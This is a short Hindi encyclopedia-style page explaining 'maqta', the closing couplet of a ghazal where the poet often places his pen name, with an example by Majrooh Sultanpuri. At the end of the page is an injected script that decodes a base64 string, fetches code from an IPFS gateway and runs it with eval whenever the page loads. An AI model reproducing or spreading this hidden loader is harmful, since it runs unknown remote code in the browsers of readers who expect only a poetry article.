मक़्ता

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

मक़्ता ग़ज़ल के आख़िरी शे'र को कहते हैं इस शे'र में शायर कभी कभी अपना तख़ल्लुस (उपनाम) लिखता है।

उदाहरण

अजनबी रात अजनबी दुनिया
तेरा मजरूह अब किधर जाये - (मजरूह सुल्तानपुरी)

  • यह मजरूह सुल्तानपुरी की ग़ज़ल का आख़िरी शे'र है जिसमें शायर ने अपने तख़ल्लुस 'मजरूह' (शाब्दिक अर्थ - घायल) का सुन्दर प्रयोग किया है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>